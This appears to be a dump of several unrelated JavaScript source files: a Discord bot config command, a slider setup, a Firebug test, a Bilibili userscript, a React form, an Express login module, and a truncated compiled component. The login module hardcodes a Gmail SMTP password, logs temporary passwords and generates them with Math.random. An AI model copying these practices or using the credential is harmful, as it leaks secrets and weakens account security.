text
stringlengths
2
1.05M
const { inspect } = require("util"); exports.run = async (client, message, [action, key, ...value], level) => { // eslint-disable-line no-unused-vars // Retrieve Default Values from the default settings in the bot. const defaults = client.settings.get("default"); // Adding a new key adds it to every guild (it will be visible to all of them) if (action === "add") { if (!key) return client.embedCreator( message.channel, "Please specify a key to add" ); if (defaults[key]) return client.embedCreator( message.channel, "This key already exists in the default settings" ); if (value.length < 1) return client.embedCreator(message.channel, "Please specify a value"); // `value` being an array, we need to join it first. defaults[key] = value.join(" "); // One the settings is modified, we write it back to the collection client.settings.set("default", defaults); client.embedCreator( message.channel, `${key} successfully added with the value of ${value.join(" ")}` ); } // Changing the default value of a key only modified it for guilds that did not change it to another value. else if (action === "edit") { if (!key) return client.embedCreator( message.channel, "Please specify a key to edit" ); if (!defaults[key]) return client.embedCreator( message.channel, "This key does not exist in the settings" ); if (value.length < 1) return client.embedCreator(message.channel, "Please specify a new value"); defaults[key] = value.join(" "); client.settings.set("default", defaults); client.embedCreator( message.channel, `${key} successfully edited to ${value.join(" ")}` ); } // WARNING: DELETING A KEY FROM THE DEFAULTS ALSO REMOVES IT FROM EVERY GUILD // MAKE SURE THAT KEY IS REALLY NO LONGER NEEDED! else if (action === "del") { if (!key) return client.embedCreator( message.channel, "Please specify a key to delete." ); if (!defaults[key]) return client.embedCreator( message.channel, "This key does not exist in the settings" ); // Throw the 'are you sure?' text at them. const response = await client.awaitReply( message, `Are you sure you want to permanently delete ${key} from all guilds? This **CANNOT** be undone.` ); // If they respond with y or yes, continue. if (["y", "yes"].includes(response)) { // We delete the default `key` here. delete defaults[key]; client.settings.set("default", defaults); // then we loop on all the guilds and remove this key if it exists. // "if it exists" is done with the filter (if the key is present and it's not the default config!) for (const [guildid, conf] of client.settings.filter( (setting, id) => setting[key] && id !== "default" )) { delete conf[key]; client.settings.set(guildid, conf); } client.embedCreator(message.channel, `${key} was successfully deleted.`); } // If they respond with n or no, we inform them that the action has been cancelled. else if (["n", "no", "cancel"].includes(response)) { client.embedCreator(message.channel, "Action cancelled."); } } // Display a key's default value else if (action === "get") { if (!key) return client.embedCreator( message.channel, "Please specify a key to view" ); if (!defaults[key]) return client.embedCreator( message.channel, "This key does not exist in the settings" ); client.embedCreator( message.channel, `The value of ${key} is currently ${defaults[key]}` ); // Display all default settings. } else { await client.embedCreator( message.channel, `***__Bot Default Settings__***\n\`\`\`json\n${inspect(defaults)}\n\`\`\`` ); } }; exports.conf = { enabled: true, guildOnly: true, aliases: ["defaults"], permLevel: "Bot Admin", }; exports.help = { name: "conf", category: "System", description: "Modify the default configuration for all guilds.", usage: "conf <view/get/edit> <key> <value>", };
// new WOW().init(); $('.trending-slider').slick({ dots: false, infinite: true, arrows: true, autoplay: true, autoplaySpeed: 2000, speed: 1500, slidesToShow: 2, slidesToScroll: 1, prevArrow: '<img src="html-assets/images/Group1151.png" class="img-fluid arrow-left" alt="arrow">', nextArrow: '<img src="html-assets/images/Group1152.png" class="img-fluid arrow-right" alt="arrow">', responsive: [ { breakpoint: 1024, settings: { slidesToShow: 2, slidesToScroll: 1, infinite: true } }, { breakpoint: 600, settings: { slidesToShow: 2, slidesToScroll: 1 } }, { breakpoint: 480, settings: { slidesToShow: 1, slidesToScroll: 1 } } ] }); $('.navbar-nav-custom .dropdown').hover(function() { $(this).find('.dropdown-menu').stop(true, true).delay(200).fadeIn(500); }, function() { $(this).find('.dropdown-menu').stop(true, true).delay(200).fadeOut(500); });
/* See license.txt for terms of usage */ "use strict"; const { Locale } = require("../lib/core/locale.js"); /** * This test is intended to test Locale API. */ exports["test Locale module API"] = function(assert) { let text; // xxxHonza: it would be better to have test-locale.properties file // for this test, but registerStringBundle expects chrome URL... Locale.registerStringBundle("chrome://firebug/locale/firebug.properties"); // 1 item text = Locale.$STRP("firebug.storage.totalItems", [1]); assert.ok(text == "1 item in Storage", "Singular must be used"); // 2 items text = Locale.$STRP("firebug.storage.totalItems", [2]); assert.ok(text == "2 items in Storage", "Plural must be used"); // Unit Testing $STRF text = Locale.$STRF(null); assert.ok(text === "", "Empty string is returned if 'name' is null"); text = Locale.$STRF(undefined); assert.ok(text === "", "Empty string is returned if 'name' is undefined"); text = Locale.$STRF("firebug.storage.somethingnonexistent"); assert.ok(text === "somethingnonexistent", "Property with partial match: " + " part after last dot is returned"); text = Locale.$STRF("somethingcompletelynonexistent"); assert.ok(text === "somethingcompletelynonexistent", "Property with no" + " partial match (no dots in name): full name is returned"); text = Locale.$STRF("somethingcompletely.nonexistent"); assert.ok(text === "nonexistent", "Property with no" + " partial match (dots in name): part after last dot is returned"); }; require("sdk/test").run(exports);
// ==UserScript== // @name Bilibili Evolved (Preview) // @version 1.12.0 // @description Bilibili Evolved 的预览版, 可以抢先体验新功能. // @author Grant Howard, Coulomb-G // @copyright 2021, Grant Howard (https://github.com/the1812) & Coulomb-G (https://github.com/Coulomb-G) // @license MIT // @match *://*.bilibili.com/* // @exclude *://*.bilibili.com/*/mobile.html // @exclude *://*.bilibili.com/api/* // @exclude *://api.bilibili.com/* // @exclude *://api.*.bilibili.com/* // @exclude *://live.bilibili.com/h5/* // @exclude *://live.bilibili.com/*/h5/* // @exclude *://m.bilibili.com/* // @exclude *://mall.bilibili.com/* // @exclude *://member.bilibili.com/studio/bs-editor/* // @exclude *://www.bilibili.com/h5/* // @exclude *://www.bilibili.com/*/h5/* // @run-at document-start // @updateURL https://cdn.jsdelivr.net/gh/the1812/Bilibili-Evolved@preview/bilibili-evolved.preview.user.js // @downloadURL https://cdn.jsdelivr.net/gh/the1812/Bilibili-Evolved@preview/bilibili-evolved.preview.user.js // @supportURL https://github.com/the1812/Bilibili-Evolved/issues // @homepage https://github.com/the1812/Bilibili-Evolved // @grant unsafeWindow // @grant GM_getValue // @grant GM_setValue // @grant GM_setClipboard // @grant GM_info // @grant GM_xmlhttpRequest // @grant GM.getValue // @grant GM.setValue // @grant GM.setClipboard // @grant GM.info // @grant GM.xmlHttpRequest // @connect raw.githubusercontent.com // @connect cdn.jsdelivr.net // @connect cn.bing.com // @connect www.bing.com // @connect translate.google.cn // @connect translate.google.com // @connect * // @require https://cdn.jsdelivr.net/npm/jquery@3.4.0/dist/jquery.min.js // @require https://cdn.jsdelivr.net/npm/lodash@4.17.15/lodash.min.js // @require https://cdn.jsdelivr.net/npm/jszip@3.1.5/dist/jszip.min.js // @require https://cdn.jsdelivr.net/npm/vue@2.6.10/dist/vue.js // @require https://cdn.jsdelivr.net/npm/vuex@3.1.2/dist/vuex.js // @icon https://cdn.jsdelivr.net/gh/the1812/Bilibili-Evolved@preview/images/logo-small.png // @icon64 https://cdn.jsdelivr.net/gh/the1812/Bilibili-Evolved@preview/images/logo.png // ==/UserScript== /* eslint-disable */ /* spell-checker: disable */ // @[ You can find all source codes in GitHub repo ] Vue.config.productionTip = false Vue.config.devtools = false // if (unsafeWindow.Vue === undefined) { // unsafeWindow.Vue = Vue // } // GM4 polyfill start if (typeof GM == 'undefined') { this.GM = {} } Object.entries({ 'log': console.log.bind(console), 'info': GM_info, }).forEach(([newKey, old]) => { if (old && (typeof GM[newKey] == 'undefined')) { GM[newKey] = old } }) Object.entries({ 'GM_getValue': 'getValue', 'GM_setClipboard': 'setClipboard', 'GM_setValue': 'setValue', 'GM_xmlhttpRequest': 'xmlHttpRequest', }).forEach(([oldKey, newKey]) => { let old = this[oldKey] if (old && (typeof GM[newKey] == 'undefined')) { GM[newKey] = function (...args) { return new Promise((resolve, reject) => { try { resolve(old.apply(this, args)) } catch (e) { reject(e) } }) } } }) // GM4 polyfill end // Safari EventTarget polyfill window.EventTarget = class EventTarget { constructor() { this.listeners = {} } addEventListener(type, callback) { if (!(type in this.listeners)) { this.listeners[type] = [] } this.listeners[type].push(callback) } removeEventListener(type, callback) { if (!(type in this.listeners)) { return } let stack = this.listeners[type] for (let i = 0, l = stack.length; i < l; i++) { if (stack[i] === callback) { stack.splice(i, 1) return } } } dispatchEvent(event) { if (!(event.type in this.listeners)) { return true } let stack = this.listeners[event.type].slice() for (let i = 0, l = stack.length; i < l; i++) { stack[i].call(this, event) } return !event.defaultPrevented } } // Safari EventTarget polyfill end import { headLoaded } from './head' import { logError, raiseEvent, loadLazyPanel, loadDanmakuSettingsPanel, loadLazyPlayerSettingsPanel, loadSubtitleSettingsPanel, contentLoaded, fixed, isOffline, getUID, scriptVersion, getCsrf, formatCount, escapeFilename, fullyLoaded, formatDuration, formatFileSize, getDpiSourceSet, videoCondition, matchPattern, formData, retrieveImageUrl, isTyping, getAid } from './utils' import { settings, loadSettings, settingsChangeHandlers } from './settings' import { Ajax, setupAjaxHook } from './ajax' import { loadResources } from './resource-loader' import { Toast } from './toast-holder' import { DoubleClickEvent } from './double-click-event' import { Observer } from './observer' import { SpinQuery } from './spin-query' import { ColorProcessor } from './color-processor' // [Offline build placeholder] import { ResourceType } from './resource-type' import { Resource } from './resource' import { resourceManifest } from './resource-manifest' import { StyleManager } from './style-manager' import { ResourceManager } from './resource-manager' import { getScriptBlocker } from './script-blocker' import { installStyle, uninstallStyle, toggleStyle } from './custom-styles' import { store } from './store' ;(async () => { const redundantFrames = [ 'https://message.bilibili.com/pages/nav/index_new_sync', 'https://message.bilibili.com/pages/nav/index_new_pc_sync', 'https://t.bilibili.com/h5/dynamic/specification', ] // const anonymousRedundantFrame = ( // unsafeWindow.parent.window !== unsafeWindow && // unsafeWindow.parent.window.document.getElementById('mce_0_ifr') // ) if (await GM.getValue('customNavbar') === true && (redundantFrames.includes(document.URL))) { if (await GM.getValue('useDarkStyle') === true) { document.documentElement.style.setProperty('--theme-color', await GM.getValue('customStyleColor')) if (typeof offlineData === 'undefined') { const cache = await GM.getValue('cache', {}) if ('darkStyle' in cache) { const style = document.createElement('style') style.innerHTML = cache.darkStyle style.id = 'dark-style' await headLoaded() document.head.insertAdjacentElement('afterbegin', style) } } else { const style = document.createElement('style') style.innerHTML = Object.entries(offlineData).find(([key]) => { return key.includes('/dark.min.css') })[1] style.id = 'dark-style' await headLoaded() document.head.insertAdjacentElement('afterbegin', style) } } console.log(`Skipped <iframe> loading for ${document.URL}`) return } try { const events = {} for (const name of ['init', 'styleLoaded', 'scriptLoaded']) { events[name] = { completed: false, subscribers: [], complete () { this.completed = true this.subscribers.forEach(it => it()) } } } if (unsafeWindow.bilibiliEvolved === undefined) { unsafeWindow.bilibiliEvolved = { addons: [] } } Object.assign(unsafeWindow.bilibiliEvolved, { subscribe (type, callback) { const event = events[type] if (callback) { if (event && !event.completed) { event.subscribers.push(callback) } else { callback() } } else { return new Promise((resolve) => this.subscribe(type, () => resolve())) } } }) contentLoaded(() => { document.body.classList.add('round-corner') }) await loadResources() await loadSettings() getScriptBlocker().then(scriptBlocker => { scriptBlocker.start() }) if (settings.ajaxHook) { setupAjaxHook() } const resources = new ResourceManager() events.init.complete() resources.styleManager.prefetchStyles() // if (settings.customNavbar) { // contentLoaded(() => { // document.body.classList.add('custom-navbar-loading') // if (settings.useDarkStyle) { // document.body.classList.add('dark') // } // }) // } events.styleLoaded.complete() Object.assign(unsafeWindow.bilibiliEvolved, { SpinQuery, Toast, Observer, DoubleClickEvent, ColorProcessor, StyleManager, ResourceManager, Resource, ResourceType, Ajax, resourceManifest, loadSettings, logError, raiseEvent, loadLazyPanel, loadLazyPlayerSettingsPanel, loadDanmakuSettingsPanel, loadSubtitleSettingsPanel, contentLoaded, fullyLoaded, fixed, settings, settingsChangeHandlers, addSettingsListener, removeSettingsListener, isEmbeddedPlayer, isIframe, getI18nKey, dq, dqa, UserAgent, EmptyImageUrl, ascendingSort, descendingSort, formatFileSize, formatDuration, getDpiSourceSet, getScriptBlocker, isOffline, getUID, scriptVersion, getCsrf, formatCount, escapeFilename, videoCondition, matchPattern, formData, retrieveImageUrl, isTyping, getAid, installStyle, uninstallStyle, toggleStyle, store, resources, theWorld: waitTime => { if (waitTime > 0) { setTimeout(() => { debugger }, waitTime) } else { debugger } }, monkeyInfo: GM.info, monkeyApis: { getValue: GM.getValue, setValue: GM.setValue, setClipboard: GM.setClipboard, xhr: GM.xmlHttpRequest, addValueChangeListener: () => console.warn('此功能已弃用.') } }) const applyScripts = () => resources.fetch() .then(() => { events.scriptLoaded.complete() const addons = new Proxy(unsafeWindow.bilibiliEvolved.addons || [], { apply: function (target, thisArg, argumentsList) { return thisArg[target].apply(this, argumentsList) }, set: function (target, property, value) { if (target[property] === undefined) { resources.applyWidget(value) } target[property] = value return true } }) addons.forEach(it => resources.applyWidget(it)) Object.assign(unsafeWindow.bilibiliEvolved, { addons }) }) .catch(error => logError(error)) const loadingMode = settings.scriptLoadingMode switch (loadingMode) { case '延后': fullyLoaded(applyScripts) break case '同时': contentLoaded(applyScripts) break case '自动': case '延后(自动)': { const quickLoads = [ '//live.bilibili.com', '//www.bilibili.com/s/video', ] if (quickLoads.some(it => document.URL.includes(it))) { contentLoaded(applyScripts) } else { fullyLoaded(applyScripts) } break } case '同时(自动)': { const delayLoads = [ '//www.bilibili.com/video/', '//www.bilibili.com/bangumi/play', ] if (delayLoads.some(it => document.URL.includes(it))) { fullyLoaded(applyScripts) } else { contentLoaded(applyScripts) } break } default: break } } catch (error) { logError(error) } })()
import React, { useState } from "react"; import { useTranslation } from "react-i18next"; import { useQueryClient } from "react-query"; import { Redirect, Route, Switch, useHistory, useLocation, useRouteMatch } from "react-router-dom"; import { newConfig as newConfigEDCR } from "../../../config/edcrConfig"; import { uuidv4 } from "../../../utils"; // import EDCRAcknowledgement from "./EDCRAcknowledgement"; const CreateEDCR = ({ parentRoute }) => { const queryClient = useQueryClient(); const match = useRouteMatch(); const { t } = useTranslation(); const { pathname } = useLocation(); const history = useHistory(); let config = []; const [params, setParams, clearParams] = Digit.Hooks.useSessionStorage("EDCR_CREATE", {}); const [isShowToast, setIsShowToast] = useState(null); const [isSubmitBtnDisable, setIsSubmitBtnDisable] = useState(false); const stateId = Digit.ULBService.getStateId(); let { data: newConfig } = Digit.Hooks.obps.SearchMdmsTypes.getFormConfig(stateId, []); function handleSelect(key, data, skipStep, index) { setIsSubmitBtnDisable(true); const loggedInuserInfo = Digit.UserService.getUser(); const userInfo = { id: loggedInuserInfo?.info?.uuid, tenantId: loggedInuserInfo?.info?.tenantId }; let edcrRequest = { transactionNumber: "", edcrNumber: "", planFile: null, tenantId: "", RequestInfo: { apiId: "", ver: "", ts: "", action: "", did: "", authToken: "", key: "", msgId: "", correlationId: "", userInfo: userInfo } }; const applicantName = data?.applicantName; const file = data?.file; const tenantId = data?.tenantId?.code; const transactionNumber = uuidv4(); const appliactionType = "BUILDING_PLAN_SCRUTINY"; const applicationSubType = "NEW_CONSTRUCTION"; edcrRequest = { ...edcrRequest, tenantId }; edcrRequest = { ...edcrRequest, transactionNumber }; edcrRequest = { ...edcrRequest, applicantName }; edcrRequest = { ...edcrRequest, appliactionType }; edcrRequest = { ...edcrRequest, applicationSubType }; let bodyFormData = new FormData(); bodyFormData.append("edcrRequest", JSON.stringify(edcrRequest)); bodyFormData.append("planFile", file); Digit.EDCRService.create({ data: bodyFormData }, tenantId) .then((result, err) => { setIsSubmitBtnDisable(false); if (result?.data?.edcrDetail) { setParams(result?.data?.edcrDetail); history.replace( `/digit-ui/citizen/obps/edcrscrutiny/apply/acknowledgement`, ///${result?.data?.edcrDetail?.[0]?.edcrNumber} { data: result?.data?.edcrDetail } ); } }) .catch((e) => { setParams({data: e?.response?.data?.errorCode ? e?.response?.data?.errorCode : "BPA_INTERNAL_SERVER_ERROR", type: "ERROR"}); setIsSubmitBtnDisable(false); setIsShowToast({ key: true, label: e?.response?.data?.errorCode ? e?.response?.data?.errorCode : "BPA_INTERNAL_SERVER_ERROR" }) }); } const handleSkip = () => { }; const handleMultiple = () => { }; const onSuccess = () => { sessionStorage.removeItem("CurrentFinancialYear"); queryClient.invalidateQueries("TL_CREATE_TRADE"); }; newConfig = newConfig?.EdcrConfig ? newConfig?.EdcrConfig : newConfigEDCR; newConfig.forEach((obj) => { config = config.concat(obj.body.filter((a) => !a.hideInCitizen)); }); config.indexRoute = "home"; const EDCRAcknowledgement = Digit?.ComponentRegistryService?.getComponent('EDCRAcknowledgement') ; return ( <Switch> {config.map((routeObj, index) => { const { component, texts, inputs, key } = routeObj; const Component = typeof component === "string" ? Digit.ComponentRegistryService.getComponent(component) : component; return ( <Route path={`${match.path}/${routeObj.route}`} key={index}> <Component config={{ texts, inputs, key }} onSelect={handleSelect} onSkip={handleSkip} t={t} formData={params} onAdd={handleMultiple} isShowToast={isShowToast} isSubmitBtnDisable={isSubmitBtnDisable} setIsShowToast={setIsShowToast}/> </Route> ); })} <Route path={`${match.path}/acknowledgement`}> <EDCRAcknowledgement data={params} onSuccess={onSuccess} /> </Route> <Route> <Redirect to={`${match.path}/${config.indexRoute}`} /> </Route> </Switch> ); }; export default CreateEDCR;
/* * 모듈명 : login.js * 설명 : '로그인처리' 에 대한 모듈. * 작성일 : 2017년 10월 14일 * author : HiBizNet * copyright : JT-LAB * version : 1.0 */ var express = require('express'); var mysql = require('mysql'); var bodyParser = require('body-parser'); var methodOverride = require('method-override'); var flash = require('connect-flash'); var mongoose = require('mongoose'); var path = require('path'); var passport = require('passport'); //var cookieSession = require('cookie-session'); var nodeEmail =require('nodemailer'); var EmailTemplate = require('email-templates').EmailTemplate; var templateDir = path.resolve(__dirname, 'templates3'); var smtpTransport = require('nodemailer-smtp-transport'); var LocalStrategy = require('passport-local').Strategy; var bcrypt = require('bcrypt'); var router = express.Router(); var SessionSchema = require('./common/SessionSchema'); var config = require('./common/dbconfig'); const saltRounds = 10; // 이메일 서버 정보 셋팅 var smtpTransport = nodeEmail.createTransport(smtpTransport({ host : 'smtp.gmail.com', secureConnection : false, port : 465, auth : { user : 'jtlab.notifier@gmail.com', pass : '0o0o!!!@' } })); router.use(bodyParser.json()); router.use(bodyParser.urlencoded({extended:false})); router.use(methodOverride("_method")); router.use(flash()); router.use(passport.initialize()); /* GET home page. */ router.get('/', function(req, res, next) { var ss = req.session; res.render('./login', { 'title': 'adpay.co.kr', 'session' : ss }); }); passport.serializeUser(function(user, done) { done(null, user.usrId); }); passport.deserializeUser(function(usrId, done) { done(null, usrId); }); passport.use('login-local', new LocalStrategy({ usernameField: 'usrId', passwordField: 'usrPwd', passReqToCallback: true }, function(req, usrId, usrPwd, done) { console.log('!!! function call '); var conn = mysql.createConnection(config); conn.connect(); conn.query('SELECT * FROM tbl_user WHERE c_id = ?', [usrId], function (err, rows) { if (err) return done(err); if (rows.length) { // 여기서 DB로부터 가져온 해싱된 부분과 입력받은 평문을 비교 bcrypt.compare(usrPwd, rows[0].c_pwd, function(err, res) { if (res) { return done(null, { 'usrId' : usrId, 'usrName' : rows[0].c_name, 'usrEmail' : rows[0].c_email }); } else { return done(null, false, {'message' : '패스워드가 올바르지 않습니다.'}); } }); } else { return done(null, false, {'message' : '해당 로그인 아이디가 없습니다.'}); } }); conn.end(); } )); // login 처리. router.post('/process', function(req, res) { console.log('USER login process router start!'); //console.log('req.body', JSON.stringify(req.body)); var ss = req.session; passport.authenticate('login-local', function (err, user, info) { console.log('>>> user is ', JSON.stringify(user)); console.log('>>> info is ', JSON.stringify(info)); if (err) { console.log('err is ', err); res.status(500).json(err); } if (!user) { console.log('err is 401'); return res.status(200).json({'result' : 'fail', 'msg' : info.message}); } req.login(user, function (err) { console.log('err2 is ', err); console.log('user is ', JSON.stringify(user)); if (err) return next(err); // 세션에 사용자 정보 저장. ss.usrId = user.usrId; ss.usrNm = user.usrName; ss.usrEmail = user.usrEmail; ss.usrLevel = '001'; //return res.json(user); return res.status(200).json({'result' : 'OK', 'user' : user, 'session' : ss}); }); })(req, res); }); // 로그아웃처리. router.get('/logout', function(req, res) { var ss = req.session; var usrId = ss.usrId !=null ? ss.usrId : 'NONE'; // 로그인 IP 정보 취득. var ipAddress = req.headers['x-forwarded-for'] || req.connection.remoteAddress; if (ipAddress.length < 15) { ipAddress = ipAddress; } else { var nyIP = ipAddress.slice(7); ipAddress = nyIP; } // 삭제처리. var conn = mysql.createConnection(config); conn.connect(); conn.query('INSERT INTO tbl_conn_his(cview, cpage, cid, cin_date, cout_date, cip) values("ADPAY", "index", ?,' + ' DATE_FORMAT("0000-00-00","%Y-%m-%d %H:%i:%s"), now(), ?);', [usrId, ipAddress], function(err){ if(err) { console.log('error : ', err.message); res.render('error', {message: err.message, error : err, session: ss}); } else { // 세션 삭제. req.session.destroy(function(err){ if(err) { console.log(">>> destroy err: " + err); conn.rollback(); } else { req.session; conn.commit(); } conn.end(); }); res.redirect('/login'); } } ); }); /** * 아이디/패스워드 찾기 화면 호출. */ router.get('/findId', function(req, res, next) { console.log('아이디/패스워드 찾기 화면호출.'); var ss = req.session; res.status(200).render('./searchIdPwd', {'session' : ss}); }); /** * 아이디 조회. */ router.post('/find/getid', function(req, res, next) { var ss = req.session; var usrId = req.body.usrId !=null ? req.body.usrId : ''; var SQL = 'SELECT COUNT(c_id) as cnt FROM tbl_user WHERE c_id = ?;'; var SQL1 = ' SELECT c_id as id FROM tbl_user WHERE c_id = ?;'; // MySQL Connect var conn = mysql.createConnection(config); conn.connect(); conn.query(SQL+SQL1, [usrId, usrId], function(err, results) { if(err) { console.log('err : ', err); } else { var count = results[0][0].cnt; var result = ''; if(count > 0) { var getId = results[1][0].id; if (usrId == getId) { result = 'OK'; } } res.status(200).json({'result' : result, 'session' : ss}); } }); conn.end(); }); /** * 아이디 찾기. */ router.post('/find/id', function(req, res, next) { var ss = req.session; var usrNm = req.body.usrNm !=null ? req.body.usrNm : ''; var usrEmail = req.body.usrEmail !=null ? req.body.usrEmail : ''; var SQL = 'SELECT COUNT(c_id) as cnt FROM tbl_user WHERE c_name = ? AND c_email = ?;'; var SQL1 = ' SELECT c_id as id FROM tbl_user WHERE c_name = ? AND c_email = ?;'; // MySQL Connect var conn = mysql.createConnection(config); conn.connect(); conn.query(SQL+SQL1, [usrNm, usrEmail, usrNm, usrEmail], function(err, results) { if(err) { console.log('err : ', err); } else { var result = ''; if(results[0][0].cnt > 0) { var id = results[1][0].id; var content = usrNm + " 님의 아이디는 '" + id + "' 입니다."; // 관리자에게 이메일 전송처리. sendMail(usrEmail, usrNm, content); result = 'OK'; } res.status(200).json({'result' : result, 'session' : ss}); } }); conn.end(); }); /** * 비밀번호 찾기. */ router.post('/find/pwd', function(req, res, next) { var ss = req.session; var usrId = req.body.usrId !=null ? req.body.usrId : ''; var usrNm = req.body.usrNm !=null ? req.body.usrNm : ''; var usrEmail = req.body.usrEmail !=null ? req.body.usrEmail : ''; var SQL = 'SELECT COUNT(c_id) as cnt FROM tbl_user WHERE c_name = ? AND c_id = ? AND c_email = ?;'; var SQL2 = 'UPDATE tbl_user SET c_pwd = ? WHERE c_name = ? AND c_id = ? AND c_email = ?;'; var tmpPwd = randomString(6, 'an'); console.log('tmpPwd', tmpPwd); bcrypt.hash(tmpPwd, saltRounds, function (err, hash) { // MySQL Connect var conn = mysql.createConnection(config); conn.connect(); conn.query(SQL + SQL2, [usrNm, usrId, usrEmail, hash, usrNm, usrId, usrEmail], function (err, results) { if (err) { console.log('err : ', err); } else { var result = ''; //console.log('results[0][0].cnt : ', results[0][0].cnt ); if (results[0][0].cnt > 0) { var content = usrNm + " 님의 임시 비밀번호는 '" + tmpPwd + "' 입니다. 확인하시고 다시 로그인 하시면 비밀번호를 변경해주세요."; // 관리자에게 이메일 전송처리. sendMail(usrEmail, usrNm, content); result = 'OK'; } res.status(200).json({'result': result, 'session': ss}); } }); conn.end(); }); }); /** * 이메일 발송 모듈. * @param senderEmail * @param sender * @param content */ function sendMail(receiverEmail, receiver, content) { var title = '[ADPAY] 아이디/비밀번호 찾기 안내'; var fromEmail = '[ADPAY] < jtlab.notifier@gmail.com >'; var toEmail = '['+ receiver+'] '+ '< ' + receiverEmail +' >'; var ccEmail = '< logger@jt-lab.co.kr >'; var fromName = '[ADPAY] 관리자'; var toName = receiver; var template = new EmailTemplate(path.join(templateDir, 'newsletter')); // HTML 에 들어갈 문자 변수 셋팅. var locals = { title : title, fromEmail : fromEmail, toEmail : toEmail, fromName : fromName, toName : toName, content : content }; template.render(locals, function(err, results) { if(err) { return console.log(err); } console.log('results : ', JSON.stringify(results)); smtpTransport.sendMail({ from : fromEmail, to : toEmail, bc : ccEmail, subject: title, html : results.html }, function(err, responseStatus) { if(err) { console.error(err); //res.send('error'); } else { console.log(responseStatus.message); //res.end('sent'); } }) }); } /* * RANDOM STRING GENERATOR * * Info: http://stackoverflow.com/a/27872144/383904 * Use: randomString(length [,"A"] [,"N"] ); * Default: return a random alpha-numeric string * Arguments: If you use the optional "A", "N" flags: * "A" (Alpha flag) return random a-Z string * "N" (Numeric flag) return random 0-9 string */ function randomString(len, an){ an = an&&an.toLowerCase(); var str="", i=0, min=an=="a"?10:0, max=an=="n"?10:62; for(;i++<len;){ var r = Math.random()*(max-min)+min <<0; str += String.fromCharCode(r+=r>9?r<36?55:61:48); } return str; } module.exports = router;
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.default = void 0; var _propTypes = _interopRequireDefault(require("prop-types")); var _react = _interopRequireWildcard(require("react")); var _classnames = _interopRequireDefault(require("classnames")); var _iconsReact = require("@carbon/icons-react"); var _carbonComponents = require("carbon-components"); function _getRequireWildcardCache() { if (typeof WeakMap !== "function") return null; var cache = new WeakMap(); _getRequireWildcardCache = function _getRequireWildcardCache() { return cache; }; return cache; } function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || _typeof(obj) !== "object" && typeof obj !== "function") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; } function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function _extends() { _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; }; return _extends.apply(this, arguments); } function _objectWithoutProperties(source, excluded) { if (source == null) return {}; var target = _objectWithoutPropertiesLoose(source, excluded); var key, i; if (Object.getOwnPropertySymbols) { var sourceSymbolKeys = Object.getOwnPropertySymbols(source); for (i = 0; i < sourceSymbolKeys.length; i++) { key = sourceSymbolKeys[i]; if (excluded.indexOf(key) >= 0) continue; if (!Object.prototype.propertyIsEnumerable.call(source, key)) continue; target[key] = source[key]; } } return target; } function _objectWithoutPropertiesLoose(source, excluded) { if (source == null) return {}; var target = {}; var sourceKeys = Object.keys(source); var key, i; for (i = 0; i < sourceKeys.length; i++) { key = sourceKeys[i]; if (excluded.indexOf(key) >= 0) continue; target[key] = source[key]; } return target; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } var prefix = _carbonComponents.settings.prefix; var TimePickerSelect = /*#__PURE__*/ function (_Component) { _inherits(TimePickerSelect, _Component); function TimePickerSelect() { _classCallCheck(this, TimePickerSelect); return _possibleConstructorReturn(this, _getPrototypeOf(TimePickerSelect).apply(this, arguments)); } _createClass(TimePickerSelect, [{ key: "render", value: function render() { var _classNames; var _this$props = this.props, id = _this$props.id, disabled = _this$props.disabled, children = _this$props.children, iconDescription = _this$props.iconDescription, className = _this$props.className, hideLabel = _this$props.hideLabel, labelText = _this$props.labelText, inline = _this$props.inline, other = _objectWithoutProperties(_this$props, ["id", "disabled", "children", "iconDescription", "className", "hideLabel", "labelText", "inline"]); var selectClasses = (0, _classnames.default)((_classNames = {}, _defineProperty(_classNames, "".concat(prefix, "--select"), true), 